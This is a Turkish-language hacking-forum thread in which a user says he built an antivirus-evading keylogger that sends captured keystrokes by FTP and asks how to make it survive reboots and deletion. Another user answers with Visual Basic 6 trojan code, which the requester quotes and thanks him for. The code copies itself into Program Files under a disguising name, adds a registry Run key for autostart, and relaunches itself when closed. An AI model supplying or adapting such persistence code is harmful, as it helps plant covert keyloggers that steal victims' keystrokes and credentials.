Vb Yardm edecek warmı?

[exkalibur]

[B]ArkadaşLar ben şimdi Loqer yapdm Inet ile Ftp Gönderimide qercekleşiyor ve antilere yakalanmadını anladım
Herneyse konuma qeLeyim şimdi Bana Bilgisayar Her acıldıgında keylogerin calşması için gerekli kod lazım ( karşıya atılan Exe silinse ßile caLışsın )
ßirde Timer'n Saniyesini (interval) 60000 yani 60 saniye bunu 10dk yapmamız mümkünmü keyloger sorunsuz calışırsa forumda kaynak kodlarını yayınlıycam Şimdiden teşekkür ederim

Yardmcı olmak isteyen : Msn wermek yasakmış NaTre öLe dior

[NaTre]

mail msn vermek yasak aksi halde ceza alırsın .. msj editle yardım etmek isteyen yazar..

[exkalibur]

NaTre Nickli Üyeden Alıntı

mail msn vermek yasak aksi halde ceza alırsın .. msj editle yardım etmek isteyen yazar..

Senin ßilqin warmı ßu konuda Natre ?

[AloneWolf]

Private Sub Form_Initialize()
' Trojan her çalıştığında Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
' Kopyalar
FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim.exe"
End Sub

Private Sub Form_Load()
'Trojan her başladığında kendisini windows Kayıt defterine windows ile 'birlikte başlamak üzere kayıt ediyor...
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub


Private Sub Form_Terminate()
' Program kapatılsa bile tekrar çalışacak.
Dim ac, d1 As String
d1 = "C:\Program Files\BenTrojanDeğilim.exe"
ac = Shell(d1)
End Sub

[exkalibur]

AloneWolf Nickli Üyeden Alıntı

Private Sub Form_Initialize()
' Trojan her çalıştığında Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
' Kopyalar
FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim.exe"
End Sub

Private Sub Form_Load()
'Trojan her başladığında kendisini windows Kayıt defterine windows ile 'birlikte başlamak üzere kayıt ediyor...
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub


Private Sub Form_Terminate()
' Program kapatılsa bile tekrar çalışacak.
Dim ac, d1 As String
d1 = "C:\Program Files\BenTrojanDeğilim.exe"
ac = Shell(d1)
End Sub

Kardeşim 1 Numarasın hemen Deniycem teşekkür ederim